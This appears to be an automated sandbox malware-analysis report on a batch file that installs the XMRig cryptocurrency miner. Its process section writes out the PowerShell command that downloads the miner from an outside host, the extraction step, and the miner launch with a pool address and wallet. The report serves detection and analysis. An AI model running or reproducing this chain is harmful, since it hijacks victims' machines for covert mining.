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07/03/2024, 19:07

240307-xsx6dscd3w 10

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240307-xswybscd3s 10

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240307-xsvehacd2z 10

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240307-xslglacc9z 10

07/03/2024, 19:06

240307-xsjyrsbd97 10

Analysis

  • max time kernel
    820s
  • max time network
    822s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/03/2024, 19:06

General

  • Target

    test1.bat

  • Size

    620B

  • MD5

    ae675cd3674938550035ef5176a7f8c4

  • SHA1

    05896e426ed40e31de4d3b2151f7b64ba8882db0

  • SHA256

    0f027fbb0fb8773bb159c37148b974ba3d6a43a5f63890df13ae31cef233b994

  • SHA512

    8ab4a7ac21123a9fd7d853e289dc4b4a54e531526e51f9fbbdc11f7d65b7a527c936ca6bfb439a459bd57dac032e28f9519ffdbdc158592b1362fe6def57cdfe

Score
10/10

Malware Config

Signatures

  • XMRig Miner payload 40 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\test1.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4300
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "& {iwr -URI 'https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zip' -OutFile 'C:\xmrig\xmrig-6.21.1-gcc-win64.zip';}"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:440
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "& {Add-Type -A 'System.IO.Compression.FileSystem';[IO.Compression.ZipFile]::ExtractToDirectory('C:\xmrig\xmrig-6.21.1-gcc-win64.zip', 'C:\xmrig');}"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2684
    • C:\xmrig\xmrig-6.21.1\xmrig.exe
      C:\xmrig\xmrig-6.21.1\xmrig.exe -coin=XMR -o xmr.2miners.com:2222 -u 49QgS4Cu9uqVeqgDpwtdZWYZrDNrUJXfzDiGmwsZFLdEgQPAQV7SbswUHqZG3B45HAiSR1cYZoSvgC56kctnqsSjMNFnJmU.RIG -p x --cpu-affinity=5 --threads=8 --cpu-no-yield
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4284

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    2f57fde6b33e89a63cf0dfdd6e60a351

    SHA1

    445bf1b07223a04f8a159581a3d37d630273010f

    SHA256

    3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

    SHA512

    42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    0f6a3762a04bbb03336fb66a040afb97

    SHA1

    0a0495c79f3c8f4cb349d82870ad9f98fbbaac74

    SHA256

    36e2fac0ab8aee32e193491c5d3df9374205e328a74de5648e7677eae7e1b383

    SHA512

    cc9ebc020ec18013f8ab4d6ca5a626d54db84f8dc2d97e538e33bb9a673344a670a2580346775012c85f204472f7f4dd25a34e59f1b827642a21db3325424b69

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ozqwfdbt.j1p.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\xmrig\xmrig-6.21.1-gcc-win64.zip

    Filesize

    3.2MB

    MD5

    e27f13ffb2989f290f16f8edd1c80171

    SHA1

    352a34a66152f4998b8d9152356528f980de2ef5

    SHA256

    fa6214ad822c6a70ee064de975608438a55eac4de41a5bb20f7180895e0524f9

    SHA512

    549a1c129ba53006e664b710361b860f9fdd58dc4682b36733fd3d10c36aa80fb28610d47ec18a8e91dad55542a83b58f5df79a8b9928cbe851b3557fde2b06a

  • C:\xmrig\xmrig-6.21.1\xmrig.exe

    Filesize

    4.9MB

    MD5

    40ceef390b416eeaa24761e05b3541f8

    SHA1

    4e7979a3be29d467e3cd2e9390131f6c574c6276

    SHA256

    6ac1ebd3eb5cac236f37e4989f4eba026a998717bd174133850f4d2a3f2e6db7

    SHA512

    acff68091b224a3a30e95ab8b2891f236b27e816f1db6a64cd2de572a9cb69e75d076a423ca2bdb8a7f2c5f27c24886e16f1850bc31e4d0054b177f803cef719

  • memory/440-5-0x000001D6A9260000-0x000001D6A9282000-memory.dmp

    Filesize

    136KB

  • memory/440-10-0x00007FF980170000-0x00007FF980C31000-memory.dmp

    Filesize

    10.8MB

  • memory/440-11-0x000001D6C18C0000-0x000001D6C18D0000-memory.dmp

    Filesize

    64KB

  • memory/440-12-0x000001D6C18C0000-0x000001D6C18D0000-memory.dmp

    Filesize

    64KB

  • memory/440-16-0x00007FF980170000-0x00007FF980C31000-memory.dmp

    Filesize

    10.8MB

  • memory/2684-18-0x00007FF980230000-0x00007FF980CF1000-memory.dmp

    Filesize

    10.8MB

  • memory/2684-21-0x000002C56C030000-0x000002C56C040000-memory.dmp

    Filesize

    64KB

  • memory/2684-26-0x000002C56C030000-0x000002C56C040000-memory.dmp

    Filesize

    64KB

  • memory/2684-31-0x000002C56BE50000-0x000002C56BE5A000-memory.dmp

    Filesize

    40KB

  • memory/2684-32-0x000002C56BED0000-0x000002C56BEE2000-memory.dmp

    Filesize

    72KB

  • memory/2684-55-0x00007FF980230000-0x00007FF980CF1000-memory.dmp

    Filesize

    10.8MB

  • memory/4284-58-0x00000204B55C0000-0x00000204B55E0000-memory.dmp

    Filesize

    128KB

  • memory/4284-59-0x00000204B6DC0000-0x00000204B6DE0000-memory.dmp

    Filesize

    128KB

  • memory/4284-60-0x00007FF78E770000-0x00007FF78F274000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-61-0x00007FF78E770000-0x00007FF78F274000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-62-0x00000204B6DE0000-0x00000204B6E00000-memory.dmp

    Filesize

    128KB

  • memory/4284-63-0x00000204B6E00000-0x00000204B6E20000-memory.dmp

    Filesize

    128KB

  • memory/4284-64-0x00000204B6E40000-0x00000204B6E60000-memory.dmp

    Filesize

    128KB

  • memory/4284-66-0x00000204B6E60000-0x00000204B6E80000-memory.dmp

    Filesize

    128KB

  • memory/4284-65-0x00000204B6E20000-0x00000204B6E40000-memory.dmp

    Filesize

    128KB

  • memory/4284-67-0x00000204B6E80000-0x00000204B6EA0000-memory.dmp

    Filesize

    128KB

  • memory/4284-68-0x00000204B6EA0000-0x00000204B6EC0000-memory.dmp

    Filesize

    128KB

  • memory/4284-69-0x00000204B6EC0000-0x00000204B6EE0000-memory.dmp

    Filesize

    128KB

  • memory/4284-70-0x00007FF78E770000-0x00007FF78F274000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-72-0x00007FF78E770000-0x00007FF78F274000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-74-0x00007FF78E770000-0x00007FF78F274000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-76-0x00007FF78E770000-0x00007FF78F274000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-77-0x00007FF78E770000-0x00007FF78F274000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-78-0x00007FF78E770000-0x00007FF78F274000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-79-0x00007FF78E770000-0x00007FF78F274000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-81-0x00007FF78E770000-0x00007FF78F274000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-82-0x00007FF78E770000-0x00007FF78F274000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-84-0x00007FF78E770000-0x00007FF78F274000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-85-0x00007FF78E770000-0x00007FF78F274000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-86-0x00007FF78E770000-0x00007FF78F274000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-88-0x00007FF78E770000-0x00007FF78F274000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-90-0x00007FF78E770000-0x00007FF78F274000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-92-0x00007FF78E770000-0x00007FF78F274000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-94-0x00007FF78E770000-0x00007FF78F274000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-95-0x00007FF78E770000-0x00007FF78F274000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-98-0x00007FF78E770000-0x00007FF78F274000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-99-0x00000204B6DE0000-0x00000204B6E00000-memory.dmp

    Filesize

    128KB

  • memory/4284-100-0x00000204B6E00000-0x00000204B6E20000-memory.dmp

    Filesize

    128KB

  • memory/4284-101-0x00000204B6E60000-0x00000204B6E80000-memory.dmp

    Filesize

    128KB

  • memory/4284-103-0x00007FF78E770000-0x00007FF78F274000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-102-0x00007FF78E770000-0x00007FF78F274000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-105-0x00000204B6E40000-0x00000204B6E60000-memory.dmp

    Filesize

    128KB

  • memory/4284-106-0x00007FF78E770000-0x00007FF78F274000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-107-0x00000204B6E20000-0x00000204B6E40000-memory.dmp

    Filesize

    128KB

  • memory/4284-108-0x00007FF78E770000-0x00007FF78F274000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-109-0x00000204B6E80000-0x00000204B6EA0000-memory.dmp

    Filesize

    128KB

  • memory/4284-110-0x00007FF78E770000-0x00007FF78F274000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-112-0x00007FF78E770000-0x00007FF78F274000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-111-0x00000204B6EA0000-0x00000204B6EC0000-memory.dmp

    Filesize

    128KB

  • memory/4284-113-0x00000204B6EC0000-0x00000204B6EE0000-memory.dmp

    Filesize

    128KB

  • memory/4284-115-0x00007FF78E770000-0x00007FF78F274000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-116-0x00007FF78E770000-0x00007FF78F274000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-117-0x00007FF78E770000-0x00007FF78F274000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-118-0x00007FF78E770000-0x00007FF78F274000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-119-0x00007FF78E770000-0x00007FF78F274000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-120-0x00007FF78E770000-0x00007FF78F274000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-121-0x00007FF78E770000-0x00007FF78F274000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-122-0x00007FF78E770000-0x00007FF78F274000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-123-0x00007FF78E770000-0x00007FF78F274000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-124-0x00007FF78E770000-0x00007FF78F274000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-125-0x00007FF78E770000-0x00007FF78F274000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-126-0x00007FF78E770000-0x00007FF78F274000-memory.dmp

    Filesize

    11.0MB